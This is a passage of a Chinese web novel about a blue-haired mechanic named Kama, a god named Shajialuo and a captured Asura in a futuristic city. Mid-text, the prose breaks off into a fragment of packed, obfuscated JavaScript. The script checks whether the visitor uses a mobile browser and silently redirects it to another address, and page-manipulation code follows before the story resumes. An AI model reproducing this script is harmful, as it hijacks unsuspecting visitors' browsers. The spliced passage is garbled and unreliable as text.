黑衣男人手腕一翻,顿时咔嚓一声,凶徒的刀刃断成两截,他还没回过神,整只右臂便已被拆散了架。 黑衣男人卡着那人的脖子将他整个举了起来,凶徒双脚离地半尺,努力挣扎却无济于事。 “以后对女士礼貌些,伙计。”黑衣男人说完随手一挥,便将那人丢出五六米开外,百八十公斤的体重对他来说简直轻若无物。 “他大概嗑了些乱七八糟的药,不过在身上改装这种攻击性的人造肢体,真是危险。”黑衣男人说着,转向愣在原地的女孩,“小姐,你看上去不像是这里的人,到这种危险的地方来做什么?” 卡玛仰头望着那男人,他个子很高,肩膀宽阔,一身黑衣,戴着墨镜,待她刚想看仔细一些,地铁却颠簸起来,车厢里闪烁了几下,之后便陷入黑暗。 “小心些。”步履不稳的她感到一只有力的大手把持住了她的肩。 她不喜欢与陌生人发生身体接触,但他刚才救了她,此时也并无恶意,所以她并没有将他的手甩开,而是摸索着坐下。 “你似乎有特别的力量,但在污染区,光有这个大概还不够吧。” 黑暗中,陌生男人的声音从她头顶传来。 他的声音穿透力很强,嗓音不大,但在高速运行的地铁中却能听得很清楚。那种阳刚气息十足的磁性嗓音,听起来让人很有一种安全感——这正是卡玛现在缺少的,见过了他的力量,再听着他的声音,她的心立即安定了不少。 “你呢?”沉默了一会,她反问道,“你也不像。你到这里来又是为了什么?” “我来这里找人。”他答道。 “我也是。” “不过其实我并不是很确定能在这里找到那个人。”他又道。 “我也一样。” “难不成我们要找的是同一个人?”他的声音中带上了一丝笑意。 “也没准呢。”她也笑了。 “你很有个性的样子。”头顶突然传来这么一句。 “我倒没什么感觉。”她应着,同时抬起头望了他一眼。 隧道里黯淡的灯光机械地从车窗外划过,变换的光影勾勒着他脸上的轮廓,卡玛隐约看到他的墨镜下似乎有两小片淡淡的金色光晕。 “怎么?”他问道。 “没什么。”她别开视线。 “你的蓝眼睛很漂亮。”他说,“像宝石一样。” 她一向觉得那些对她的发色和眼睛大惊小怪的人很无聊,虽然现在跟前这个陌生的男人并不让她觉得讨厌——相反还可能有些好感——然而心事重重的她也不想跟他谈论这个话题,她知道这样很不礼貌,然而在重新安顿下来之前,她真的没心情去想别的事情。 珊侬大街到了,请不要将随身物品遗留在车上。 “我该下车了。”他说,“我把那四位先生也带下车好了。” 接着站台的灯光,她看到那黑衣男子先将两人像丢布口袋一样扔出车门,又一手拎着一个把他们像小鸡一样提了出去,当列车开动铃声响起时,他站在站台上回头向车厢里挥了挥手。 “那么再见了,小姐,一路顺风。” 卡玛突然觉得自己对救命恩人有些冷漠得过分,甚至连句感谢的话也没有,于是她放下怀里的东西,冲到车门口冲着他的背影喊道: “谢……谢谢你帮我——” 话到了嘴边却卡了壳——平时交际贫乏,到了这时候居然会口拙。 他转过身,微微一笑。 “你……你叫什么名字?”情急之下,她随口问道。 男人咧开嘴笑了,那笑容温暖得像冬日的太阳。 “我叫刹迦罗。”说完他一脸探询地望着她,“那么?……” “我叫卡……” 车门合上了,她的声音被挡在车厢里。 列车重新开动,卡玛望着向后推移的站台,心里满不是滋味。 电源恢复供应,车厢里重新亮了起来,她坐回原位,把小铁笼重新放在膝上,见OK不停地用爪子挠着笼子,便把这个小家伙放了出来。 OK趴在她的肩上,却一个劲地向站台消失的方向张望,抚摸着银貂身上光滑的毛皮,卡玛忍不住打趣道: “怎么,你也觉得那人不错,不想这么快就跟他说再见么?” 虽然心里有些遗憾,不过她很清楚,在这个巨大而冰冷的城市中,有着太多这样只有一面之缘,然后擦肩而过的陌生人。 刹迦罗,这是怎样的名字?……就像来自古老的神话传说一样,或许伊诺会知道这个名字的出处? 不管怎样,还是快点找到那个人,先把伊诺弄醒再说吧。 …… 刹迦罗刚出地铁站,视野中便出现了呼叫信号。 “怎么了,因陀罗?”他问。 啊哈,总算找到你了,你跑哪去了?一直联系不上你,问你财团里的人却又没一个人知道你的行踪。 “我在阿什提的污染区,刚才呆在地铁里,信号不太好吧。” 污染区?哇赛,你跑那儿去做什么? 因陀罗的声音在耳边回荡,一想到那个使用巨人身躯的小毛孩瞪着眼睛哇哇乱嚷的样子,刹迦罗就忍不住想笑。 “我去体验民风,顺便怀旧——两百年前我在摩诃时坐过的地铁居然现在还能动。”他压低声音神秘兮兮地说,“而且,我还遇到了一个女孩。” 哦哦,污染区旧地铁里的艳遇,满刺激的样子……哇,不对不对!差点给你带跑了——喂,说正经的,你赶快到我这来一趟吧,有点东西要给你看。 “什么东西?” 你来看了就知道了——哦,帅哥有话要说。 多闻,我们刚才去了阿什提的某个警察局,调查一些可能与最近阿修罗进犯人间有关的线索。 “有收获么?” 有,而且还找到了一点似乎与你的任务有关的东西,如果你不想继续在这城市里漫无目的地乱窜,那就赶快到我们的实验室里来一趟吧。 “知道了。”刹迦罗应道,“我现在就来。” 无论什么时候,人类中的多数都只能看到眼前,短暂的寿命导致他们还来不及积累到足够的智慧便已做出许多糊涂事,等到对生命和世界有所领悟企图弥补,却往往已到了迟暮之年。 人类短短几百万年的历史中,智慧总在不断地流失,被继承下来的只有其中很小一部分,其余的被新的智慧填补,因此他们总是不断地在一意孤行——感受伤痛——悔悟——遗忘——重蹈覆辙这个循环中挣扎。 是否这便是人们所必经的磨难? 是否这便是三连神给摩诃设置的永恒规则? 是否当中对此规则有所领悟超度者便能晋级须弥,而其余无法冲破这孽障的人就会坠入帝拜? …… 他不知道这些事情。 从须弥的顶点俯视摩诃,他会思索,虽然身为高位天神,但他明白自己和摩诃的人们一样,都是三连神的创造物,不同的天神的机能比人类要完善得多。 但他知道自己依然存在瑕疵——除了三连神,任何东西都不完美,他知道这并非三连神的能力有限,而是他们不希望这世界上有和自己一样完美的存在。 所以,他喜欢人类,对他们好奇,并抱有好感,两百年后重返摩诃,他很快便适应下来,并找回了亲切感。 …… 跑车自动行驶,望着窗外的摩天大厦和迅捷运行的交通层集,他又禁不住开始入神。 远处便是世界集团的总部大楼了,作为阿什提最高的建筑物,它冷峻而充满科技感的前卫造型异常引人注目。 世界大厦附近的一个巨型显示屏上正在播放某种化妆品的广告,女主角一头蓝发,化着艳丽的银灰色冷妆,他一下子便联想起之前在污染区地铁里遇到的那个女孩。 那双眼睛真美。 她看起来很瘦弱,但那双蓝眼睛里却有着令人着迷的坚强。 那种力量来自何处?他知道摩诃里一小部分人类拥有超能力,环境、医药、毒品、遗传、人体改造都可能引起基因突变,导致这种能力产生——那么她呢?…… 她会喜欢什么?…… 世界大厦到了,毗沙门先生。 砰砰—— 刹迦罗回过神来,发现一个巨大的黑影正站在自己的车旁,用指甲轻轻地磕着挡风玻璃。 “嘿,又在神游太虚吗?”因陀罗笑道,“快跟我来吧,帅哥已经在核心实验室里等你很久了。” “你们要给我看什么?”跟随因陀罗走进专用高速电梯,刹迦罗问。 “我们数小时前接到消息,得知在阿什提的某个贫民区又出现了阿修罗。”因陀罗说,“D33层,谢谢。” D33层,请稍候,雷先生。 刹迦罗望向电梯的屏幕,上面显示世界大厦的最高层为U470,最底层为D01。 “D33层?”他望着因陀罗。 “D01下面还有另外三十三层,不光是外界,连这公司九成九以上的员工也不知道这三十三层的存在。”因陀罗笑道,“这三十三层全都是由我设计的,三连神就在最下面。” “我们现在就要去见三连神么?”刹迦罗问。 “不,三连神现在不接见任何人,我们现在要去的地方是倒数第二层。”因陀罗摇头道,“那是帅哥的专用实验室。” “原来如此。”刹迦罗点了点头,将话题引了回去,“贫民区,就是昨天发生侵袭的地方吧?” “嗯。”因陀罗好奇地问,“你怎么知道?” “我早上看了电视新闻。”刹迦罗微微一笑,“今天外出,城市里到处都在谈论此事。” “媒体的手脚越来越快了呀。”因陀罗耸了耸肩,“就是因为他们曝光太快,令到我们的调查总是受到阻碍……不过今天运气不错,警方俘获了一个目标,同时报导管制做得不赖,所以当我们前往警察局时应该还没有引起媒体的注意。” “凭警方的力量,似乎不可能成功俘获阿修罗啊。”刹迦罗说,“你去警察局要人了?岂不会让人认为你的公司跟阿修罗有关?外面有人在传阿修罗是世界集团秘密开发的新型武器,因为失控所以到处破坏,而为了掩人耳目每当阿修罗侵袭事件发生后你的公司就竭尽所能掩饰真相。” “哈,说得倒跟真的似的。”因陀罗哑然失笑,“天神管不住人们的嘴巴,反正也找不到证据,随便他们说吧——其实从某种意义上来说,侵袭摩诃的阿修罗跟我们的确有关,所以三连神才会委托我们去调查,所以我想这次将难得的阿修罗完整样本送给他们分析,应该很多问题都能找到答案吧?” “完整样本?你们在警察局里搞到了这个?”刹迦罗有些意外,“阿修罗不是宁可自爆也不愿被生擒,从来就不会留下任何蛛丝马迹的么?” “所以说这一个很难得啊。”因陀罗面有得色,“他和普通的阿修罗似乎有些不同。” “那他和三连神交待给我的任务又有什么联系?”刹迦罗又问。 “你很快就会知道了。”因陀罗故意卖了个关子。 在世界大厦隐藏的D33层里的巨大实验室中,刹迦罗再次见到了希格玛。 “这里怎么样?”希格玛穿着一身白色的工作服,向他展示四周。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363284|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “世界集团御用王牌设计师的实验室,能不是最好的么?”刹迦罗开玩笑道,“不过你穿着白大褂的样子很像是个妇产科医生。” “看来你心情不坏嘛。”希格玛转身走向一个旁边摆满各种仪器的工作台,“听说你刚才在污染区的地铁里有艳遇?” 刹迦罗瞟了因陀罗一眼,那巨人吹着口哨歪着头望向一边,一副事不关己的样子。 “这便是你们找到的那个阿修罗了?”他来到希格玛身边,打量着工作台。 工作台上躺着一个身量雄伟的壮硕男人,他全身赤裸,腰间盖着一块白布,他的右腕断裂,可以隐约看到里面的机械构造,此时他双目闭合,像是处于沉睡中。 “在摩诃出现的阿修罗好像一般都不是以人类形态存在的。”刹迦罗低声说。 “没错,所以说这一个很特别。”希格玛点了点头,“但他肯定是阿修罗,摩诃现有的科技水平根本达不到这样的程度,看他的身体——”他用一个金属压片在那巨人的胸前划过,“阿修罗为了隐藏真实身份,有时也会伪装成人类的形态,然而他们的假皮肤一眼就能看穿,我最新开发出来的克里希纳系统尽管外观几可乱真,但仔细触摸还是能觉察出为人工制品——可这个家伙的皮肤和肌肉组织甚至拟真度比你我使用的机械化身还要高些,所以说他肯定不是人造的,也和一般的阿修罗不同。” “会不会是来自须弥的东西?”刹迦罗问。 “他的力量结构符合阿修罗的基本特征。”希格玛说,“但他又的确有点类似天神的机械体——这令我疑惑不解,我在实验室里呆了两个小时,可还是没弄明白他究竟是什么来历。” “别着急。”刹迦罗拍了拍他的肩,他很清楚,希格玛是须弥的科技天才,然而他总是对自己要求极高,在非常小的概率下遇到这种无法解决的疑难,就会令他自尊心受挫。 “要是可以不麻烦三连神就能弄清楚的话就好了。”希格玛自言自语道。 “这个大个子的记忆呢?中央系统查看过了吗?”刹迦罗问。 “我全都试过了。”希格玛摇了摇头,“他的脑子被锁得密不透风,无论我用什么办法都不能进入他的脑内查看记忆,中央系统的防御能力强得不可思议,我攻过两次,但最多只能潜入三分之一的深度,由于不清楚其构造,所以又不敢用物理手段贸然接触。” “连你都破解不了的系统?”刹迦罗可真的有些吃惊了,“这家伙看来实在不简单。” “这个家伙的能量不是已经被我吸光了吗?”一旁的因陀罗插嘴道,“为什么还能死守住自己的脑子?” “因为他的防御系统不是以外部能量维持的。”希格玛说,“而是通过与生俱来的本能拒绝其他人擅自侵入——因陀罗,他的脑部核心不是电子元件和机械装置,而是……” “精神体?”刹迦罗一愣。 “吹牛!”因陀罗叫道,“这种技术只有须弥的天神在使用——希格玛,你是最清楚的,由三连神亲自开发,是须弥的最高机密科技之一,在机械体得到完全应用之后,须弥并没有天神堕落成阿修罗,就算是被三连神剥夺神格驱逐至帝拜,也肯定会将机体回收,没可能泄露出去的呀。” “我知道。”希格玛不紧不慢地说,“但是,正如你刚才所问,失去全部能量后脑部依然能有防御能力,除此之外还能有什么解释?” 因陀罗皱起眉,找不到什么反驳的理由。 “等一下。”凝视着那大汉,刹迦罗忽然开口。 “怎么?”希格玛和因陀罗同时转过脸。 “在须弥我也曾经听到过关于机械阿修罗的事情。”刹迦罗说,“虽然阿修罗也跟我们还有人类一样使用机械身体,但不同的是,当能量耗尽后,人类的机械体只是会机能停止,但阿修罗的机体会随之毁灭——所以到现在为止阿修罗不曾在摩诃留下半点痕迹,因为它们的身体全都在被破坏后自动分解了——那么,这个大个子既然不是人类或其创造物,也不是天神,为什么能量被全部吸收后,还能保持住自己的身体不溃散?” “你这个问题问得很好……”希格玛沉声道,“我想,会造成这种现象的只能有一个原因……” 另外两人屏息凝视,等待他们的科技天才说出答案。 “那就是——” 希格玛指着因陀罗。 “肯定是因为他没把这大个子的能量抽干净!” “……” “……” 因陀罗不满地嚷道: “我确实把他吸干了!” 刹迦罗忍不住笑了,当那巨人意识到自己说的话十分暧昧时脸顿时胀得通红——希格玛不愧为须弥的天才,造出来的机械化身连这个都能忠实反应。 “你们可以检测啊,他体内的确完全没有能量反应了!”因陀罗说。 “我只是随便开个玩笑而已。”希格玛掩着嘴直乐,“我相信你一定把他‘吸干’了。” “不准说吸干!”因陀罗快要气死了。 “好了好了。”刹迦罗止住笑,对希格玛说,“天神的机械体是靠自身的精神力驱动的,因此只要精神体不受到损害,机体就可以无限制地行动——这是三连神开发出来的技术,只有天神才能使用;阿修罗的机体不可能具备这种能力,所以需要依靠外部能源维持其存在——按照你的说法,这个大个子似乎是介乎天神机械体和阿修罗机械体之间的某种存在?” 希格玛赞许地点了点头。 “这正是我想的,但目前还没有得到证实,等三连神接受拜访之后再做进一步检测吧——我现在急于获取他的记忆:他从哪里来,他究竟原本是什么身份,为什么会拥有这样的身体,他跟那个女孩到底是什么关系……” “女孩?”刹迦罗一愣。 “这个由我来说明!”因陀罗兴冲冲地举起手。 希格玛扬了扬眉,算是默许,同时随手从一旁的桌子上拿起了一杯茶。 “刹迦罗,这就是我说的,和你的任务相关之处——看这个。” 因陀罗将那巨人的上身从实验台上抬起,指了指他的后背。 刹迦罗原本还有些不以为然,但当他的目光接触到那巨人背上的图案后,顿时愣住了。 虽然巨人的背上插着不少缆线,但那朵黑色的莲花依然异常醒目。 “如果三连神要你找的是个身上有黑莲花图案的男人,那可就省事了。”因陀罗说,“直接拿这大个子去交差,你准能回家。” “‘女孩’又是怎么回事?”刹迦罗追问道。 “我们发现他的时候,他的身边还有个女孩,”因陀罗说,“不知为什么,这大个子拼了命也要保护她,最后当我们令他停止行动后,女孩却已趁乱逃走了。” “鉴于这巨人与天神和阿修罗都存在联系,且身上还有那图案……”希格玛放下杯子,“所以我们认为他身边的女孩很可能就是你要找的人。” “那女孩的外表特征?” “高挑、匀称、一身黑衣、蓝色短发、漂亮的蓝眼睛,眼神不错。”希格玛描述道,“她拥有程度不低的超能力,血液也是蓝色。” “蓝发?蓝眼?拥有超能力?”刹迦罗低声重复着。 “对,而且她应该还带着一个男人的脑袋和一只小动物。”因陀罗插嘴道。 “什么样的动物?”刹迦罗静静地问。 “是只银貂,蛮可爱的小家伙。”希格玛答道,“她和她的同伴本来以一辆货柜卡车为移动据点,不过在警察局里她却舍弃车子仓皇逃走,但我想你应该很容易就能找到她。” 沉默片刻之后,刹迦罗淡淡开口: “我想我应该去见见三连神。” “现在不行,伙计。”因陀罗摇了摇头,“三连神正在自我维护,大概还需要十七个小时才能结束,这段时间里任何人都不能进入中央神庙。” “那么,我稍后再回来拜访他们。”刹迦罗说完便转身离去。 “嗨,你要去哪儿?”因陀罗问。 “去找那个带着人头和小动物、拥有超能力的蓝色酷女孩。”他扬了扬手,“回头见。” 希格玛和因陀罗看着他远去的背影,总觉得有些奇怪,但又说不出有什么地方不对。 下午好,毗沙门先生,请选择使用手动驾驶模式或自动驾驶模式。 “自动驾驶。”他说。 自动驾驶模式被选择启动,请问您这次行程的目的地是? “阿什提污染区,埃尔大街地铁站。”他往驾驶座上一靠,戴上了太阳镜。 阿什提污染区,埃尔大街地铁站。请您系好安全带,预计抵达目的的所用时间为二十八分钟,如果有任何需要,请按驾驶台上的“服务”键。 刹迦罗·毗沙门的豪华跑车离开世界大厦的停车库,驶上了107号高速通道。 景物飞速推移,但他脑中只有那双蓝色的眼。 无所不能的三连神,莫非这也是你们早已安排好的么? 他知道自己的运气一向很好,但他觉得这次的巧合似乎不能全用运气来解释。 他依然不明白三连神要他寻找并守护那女人的用意,但—— 想到自己很快就会与她重逢,刹迦罗便禁不住微微笑了。 6. 第 6 章 卡玛几乎没费什么力气便找到了他。 依照四个月前的记忆,她在喜玛万公园站下车。她不相信这个家伙会整整四个月待在同一个地方不挪窝,所以出了车站她便开始打听,想不到随便找个人一问就得到详细情报——和她手里原有的地址完全一致。 起初卡玛还有些疑惑,直到一刻钟后她见到了蝎子。 “噢,天呀,瞧瞧这是谁来了——”蝎子夸张地揉了揉眼睛,“卡玛?” “蝎子。”卡玛松了口气。 蝎子是个约摸三十来岁的男人,瘦高个、光头、鹰钩鼻、络腮胡,一见到卡玛他便张开两只纹得花花绿绿的胳膊,卡玛和他拥抱,与他碰了碰脸颊。 “上次见到你的时候,好像只有一边穿了环。”卡玛瞥了一眼他黑毛片片的胸膛,“你的男朋友喜欢你的乳环吗?” “他两个月前死了。”蝎子耸了耸肩,“好像胡乱招惹了些什么人,后来发现不成人形地被丢在垃圾堆里。”见卡玛蹙眉他又笑道,“他不是我的男朋友,只是偶尔找找乐子而已——在这里每个人都得自求多福,否则谁也不晓得哪天轮到自己倒霉,就是这样。” 接着他又添了句:“所以我从来不喝酒,免得自己死得稀里糊涂。” “你现在怎么样?”卡玛沉默了一会,问道。 “蛮好的。”他说,“帮人更换肢体,当然也做维修,生意不坏,瞧,这里还有两只手臂修好了等人来取呢,我跟这里的大佬做了几单生意,现在有他罩着我就不用再到处换地方了,再过上半年我大概就能把债全部还清。” “听上去很不错。”卡玛点了点头。 “你呢?”蝎子问,“还跟伊诺一起做黑工?——怎么突然想到来找我?”说完又朝四周张望了一下,“大个子呢?他不总是跟着你的吗?” “我遇到了一些麻烦。”卡玛抿着嘴唇,“今天早上我们去贫民区找活,结果被警察盯上了。” 说完她拉开旅行袋,从里面拿出一个东西。 “喂!——”蝎子朝后跳了一大步,好半天才抱怨道,“小姐,不要突然用人脑袋来吓我!” “蝎子,你得帮我。”卡玛将伊诺的首级放回旅行袋,“我现在很糟糕——阿汉不在身边,卡车也没了,上面现在肯定到处找我,大概不光是警察,还有世界集团的人。” “等等,等等等等。”蝎子费解地眯了眯眼,“你在搞什么?怎么一下子弄成这样?……你们的证件都没有问题,在上面混了那么久也没被警察抓住,你们做黑工关那大公司什么事?还有那大个子……” “有东西可以吃吗?”卡玛打断他的话,“我现在饿极了。” “我只有咖喱鸡肉饭……” “什么都好。” …… 蝎子一手撑着下巴,盯着坐在他对面的卡玛,装着伊诺首级的旅行袋搁在一边,银貂在笼子里盯着盘子里的食物坐立不安,但它的主人此时压根没空理会。她看起来简直是饿坏了,一大盘咖喱鸡肉饭被她风卷残云一般转眼间就消灭干净,现在她正在进攻第二盘。 “小心骨头,别被噎着……”他好心地提醒。 看她狼吞虎咽的吃相,蝎子就知道卡玛肯定动用了超能力——每次她用了那能力,体力就会迅速消耗,随之而来的就是饥饿感,他看到卡玛的裤腿有被割裂的痕迹,想必她也受过伤,虽然伤口能够很快愈合,但同样需要大量的热量。 他不知道卡玛之前究竟遇到了什么事情,但在她吃完东西稳定了情绪之前,他肯定问不出什么来。他又弄了一小份,打开笼子放在OK面前,那个小家伙立即有滋有味地吃起来。 “水。”嘴里塞满食物,她含糊不清地吐出一个字。 蝎子把水杯递给她。 “还有辣椒粉吗?”她摇晃着空空的调味瓶。 “好像没有了。”蝎子两手一摊。 “哦。”她应了一声,继续完成她迟到的午餐。 终于她看起来精神了不少,蝎子知道听故事的时间到了。 “罗摩-VII改良型系统,你手里还有吗?”她问。 “VII改良型……”蝎子想了想,“好像有吧,怎么?” “他用的就是那系统,第八代克里希那系统他还没来得及更换就成了那样子。”卡玛在衣兜里摸索了一阵,“有烟吗?” “没有你爱抽的那种。”蝎子摇了摇头。 “那就糖果吧。”卡玛说。 “干脆给他换上第八代系统得了,我这里刚刚进了一批货,质量你放心,而且我这里还可以定制形象。”蝎子递给她糖盒。 “如果有VII改良型的话还是用那个吧。”卡玛往嘴里丢了颗葡萄味的冰爽糖,“他觉得新系统刚出来的时候一定会有bug,所以至少要等到克里希那出到II代改良型他才会考虑更换使用。” “卡玛,究竟发生了什么事?”蝎子终于没有克制住发问的好奇心。 “我们今天在贫民区遇到了那东西。”卡玛淡淡地说。 “阿修罗?”蝎子大吃一惊。 “昨天贫民区因为那东西闹了大乱子,造成重大人员伤亡,我们今天冒充世界集团的技术人员混进去打算提供为有需要的人进行肢体维修。”卡玛说,“但没想到一个幸存的阿修罗突然在附近出现,后来我们跟那东西打了起来。” “那……那……”蝎子结结巴巴地问,“那大个子,莫非……” “阿汉当然不会败给那种东西了。”卡玛的表情看上去有些怨怒,“是警察。那些愚蠢的家伙怀疑我们跟阿修罗有关,要我们到警察局里去接受调查。” “后来呢?”蝎子迫不及待地问。 “他们当然找不到任何证据可以证明我们与那东西有关了。”卡玛冷哼一声,“就算他们动用那个臭名昭著的伐由系统也肯定什么也查不出来,我声称如果他们再不放我们走就起诉他们滥用职权侵犯公民权利,所以他们只能乖乖就范。” “既然他们没有再为难你,那为什么你还会这么狼狈?”蝎子问,“我是说——大个子怎么了?你的卡车又怎么了?” “在离开警察总署的时候,我们在地下停车库里遇到了一个怪人。”卡玛回想着当时的情景,“他的头发和眼睛都是鲜红色,穿件白大衣,他说他也对我们感兴趣,我叫阿汉把那家伙轰走,可没想到他居然把阿汉制压了。” “你不是在开玩笑吧?”蝎子睁大眼,“你说阿汉不是那人的对手?这怎么可能?阿汉那么大力气,而且还刀枪不入……” “但事情就是那样!”卡玛不耐烦地瞪了他一眼,“我直到现在也无法相信,但那人手中红光一闪,阿汉的手臂就断了半截——那人和我一样拥有超能力,而且力量超乎想象,除了这个还能有什么解释?” “……”愣了好一会蝎子才问,“他还说了些什么?” 卡玛摸着OK身上光滑如缎的软毛。 “他说他叫希格玛。” “希格玛……”蝎子盯着卡玛,“该不会……就是那个希格玛吧。” “他说他就是那个希格玛。”卡玛说,“怎样都好,反正我肯定不要再见到他——伊诺的身体就麻烦你搞定了,费用我会尽快打到你帐号里。” “算了,难得你能来找我,就给你特惠免费好啦。”蝎子大方地摆了摆手,“以前我刚出来做的时候你们也教了我很多技术上的东西啊,现在污染区里没有比我更好的机械师了——当然,除非你跟伊诺也到这里来。” “我的东西全都在卡车上,这下可好了。”卡玛恼火地说。 “别生气别生气。”蝎子拍了拍她的肩,“要是不介意的话,就在我这里避一避吧,污染区这么大这么乱,警察也好,世界集团的人也好,要找你也无从下手,他们也是因为昨天的阿修罗事件才虚张声势,等这阵风头过了应该就没事了。” “我担心阿汉。”卡玛皱着眉,“这么久了我还从来没试过跟他分开,我现在害怕极了——他肯定是落到那个人手里了,蝎子,万一以后我再也见不到他了,我该怎么办?……” 蝎子望着她,他知道阿汉对卡玛来说是极重要的,但眼下他也想不出什么法子,只得安慰道: “我先拜托上面的朋友,让他们想办法去打听打听吧——卡玛,阿汉不会有事的。” 见她只是趴在桌子上不说话,蝎子便笑道: “来,带你去我的地方看看,那可是阿什提污染区里最好的工作室——无论设备还是环境,都绝对是这里最好的,大概比起那个大公司也差不到哪去。”说完拎起旅行袋,“走吧,忧郁小姐。” “看起来那位先生真的很关照你。”卡玛不理会尚未完成大餐的OK吱吱的抗议声,把它装进小笼,跟着蝎子一起走了。 “我为他赚了很多钱——每个月我要给他五分之四呢。”蝎子小声说,“在污染区做这个很吃香,我说卡玛,等我们把阿汉和你的卡车救出来以后,你和伊诺干脆就在这里和我一起做得了,在上面作黑工不见得比在这里好多少啊。” “再说吧。”卡玛应道。 “我给我的地方起了个很不错的名字。” “叫什么?” “蝎巢——很酷吧?” 蝎巢比卡玛想象中的要大。 看上去更像是一间厂房,上百个冷冻柜整齐地排列着,有专门隔离开来的无菌室,各种仪器在运转,二十来个穿着工作服的技术人员在忙碌着,还有在四处巡视的武装保卫,卡玛一看便知道那些人的机械改造程度极高。虽然有些凌乱,但可以看出是专业的人造人体维修地,倒是蝎子自己看起来与这里非常格格不入。 “觉得如何?”蝎子问。 “不错的地方。”卡玛点了点头,“四个月居然能做到这样,蝎子你很有一套。” “这个地方只用了一个月便建了起来,已经运作两个月了。”蝎子说,“用的是污染区里能弄到的最好的设备,虽然环境不怎么样,但在这里已经算很不错了。” “那些是从哪里弄来的?”卡玛对着那些冷冻柜努了努嘴。 “有些是从关系好的人造人体贩子那里买来的,有些是从那大公司的库房里偷出来的。”蝎子说,“不过,其中大部分是我们的工厂自己生产的。” “自行生产?”卡玛有些吃惊,“你们连设计图纸都弄到了?” “那大佬的手下弄来了第六代和第七代的完整设计图,又通过上面的关系买进所需零件,在污染区的专用工厂里完成组装,与世界集团造的相比几乎没什么区别,而且因为售价便宜,所以在上面都很吃得开。”蝎子说,“在我遇到他之前他们就已经在做这个了,原来他们一直是做人造人体贩卖的,发现我技术不赖之后就开始做更细致一点的活了。”说完他凑近卡玛的耳朵,小声说: “听说他们现在在想法子搞第八代系统的设计图呢。” 卡玛刚想说什么,蝎子又像突然想起什么似的说: “哦,对了对了,卡玛,你来得正好,这里有个东西我正好摆不平,你要不要来帮我看看?” “可是……” “伊诺的事我会亲自来处理,我刚才查过了,这里正好还有两台罗摩-VII改良型,只需要八个小时,他就能重新生龙活虎地站在你面前。”蝎子恳求道,“卡玛,帮帮我吧。” 见蝎子双手合十毕恭毕敬的样子,又想到自己有求于人,反正现在干着急也没用,不如找点事干转移一下注意力,卡玛便说: “蝎子,八小时后要是我看不到伊诺在我面前蹦来蹦去,你就死定了。” “好的好的——”蝎子连连点头,马上叫来一个人。 “什么事?克里先生?”那人的胸前挂着证件,上面写着他是这里的首席工程师。 “克里先生?”卡玛瞄了他一眼。 “那是我的真名!”蝎子嘟哝着,随后对那位工程师说,“这位是卡玛小姐,阿什提市——哦不,应该是全世界数一数二的机械师,带她去看一下黑杰克,我想那家伙的问题她一定能解决。” 卡玛不用看也知道那人正一脸狐疑地打量自己,想必是觉得像她这样的女机械师技术好也好不到哪里去吧。 “卡玛小姐,请随我来。”那位工程师说。 “听着,她是我的客人。”蝎子叫住他,“好好招待她,还有,看仔细些,对你有好处。”说完对卡玛说,“我去调试伊诺的新系统了,待会见。” “小姐,这边请。”工程师又客气地重复了一遍。 …… 封闭工作室里的实验台上躺着一个身上插满导线的男人,他的脑部有一大半部分裸露在外,身上有着大大小小深浅不一的伤口,旁边的生命维持系统显示他还活着。 “他怎么了?”卡玛问。 “他是帮派的打手,四天前在一次冲突中被围攻导致重伤。”工程师翻着分析报告,“身上的伤口都不足以致命,但问题在于他的头部遭到猛击,导致脑内的机械部分出现问题,克里先生认为是主思考区受到严重损坏,在现在的条件下要完全修好是不可能的事,只能更换新的人造脑。” “全身人造人体的使用率超过百分之九十,似乎除了生殖器外其它的地方都经过改造,以第七代罗摩-V改进型为基础,手臂的部分是较早的第六代帕罗苏罗摩-II初始型,脑部用的是却又是介于两代系统之间的第七代罗摩-III改进型……在同一人体上使用三种不同系统是非常笨的做法,为了协调不同的系统,脑部不得不增加额外的任务输出,这样会很大程度上增加脑部负荷——谁替他进行身体改造的?”卡玛扫了一眼黑杰克。 那个工程师马上发觉这位女机械师确实非同一般了——仅仅是用肉眼看就能准确判断出对方使用了什么系统,而且说得分毫不差,要知道由于每人使用的人造人体在外观上都是经过用户自定义的,除非是对该系统异常熟悉,否则哪怕是资深机械师也需要通过软件进入系统的BIOS才能读出型号和生产序列码。 “做过记忆备份么?”卡玛检查着黑杰克的脑部。 “要是做过克里先生就不会这么伤脑筋了。”工程师嘟哝着。 真烦人,做做记忆备份会死吗?就算不像伊诺那样每天都做,至少一个月怎么也得有两次吧?在贫民区里的小女孩没做记忆备份是因为她父亲不了解,在污染区的大帮派里混的怎么也不了解?身体改造程度这么高,却从来不做记忆备份,简直跟个土包子一样。人造的东西,哪可能那么可靠?平时凭着机械的身体张牙舞爪,出了问题才后悔,躯干和四肢坏掉了可以修可以换,脑子坏掉了记忆丢失又没有备份,神仙也没辙呀。 “他是帮派里的红人,老大很器重他,要克里先生务必让他复原……” “等一下。”卡玛突然指着黑杰克头部的一个不起眼的装置问道,“这个脑稳定器,谁给他装上去的?” “是我……”工程师愣了愣。 卡玛不由分说便开始动手把那个东西拆下来,生命维持仪器立即发出警报,显示屏上黑杰克的脑波开始出现杂乱无序的振动。 “嗨……”工程师吃了一惊,“你做什么?……这样他会脑死亡的!” “MEGA7919脑稳定器不能装在罗摩-III改进型的人造脑上,虽然它标称可以用于六代系统的所有衍生型号……表面上看起来——分流栓。”她脱掉外衣命令道,“快点。” “哦。”意识到脑部维修已经开始,工程师赶紧做助手。 “……表面上看起来能够稳定脑波,但实际上会造成人造神经线路信号流失——主思考区外部供电给我加7%,口罩和消菌手套。”卡玛边做边说,“非常细小的Bug,但有可能导致在安装那个稳定器的同时导致记忆区访问失败,世界集团并没有公布这个Bug,因为在后来的罗摩-IV型就已经得到了修正……” “我从来就没听说过这样的事情……”他目瞪口呆地说,“我们仔细分析过七代系统的设计图,可没一个人想到7919会有问题。” “设计图上是看不出来的。”卡玛敲着键盘,“我在四年前曾经遇到过这样的问题——那个时候罗摩-III刚刚出来。” 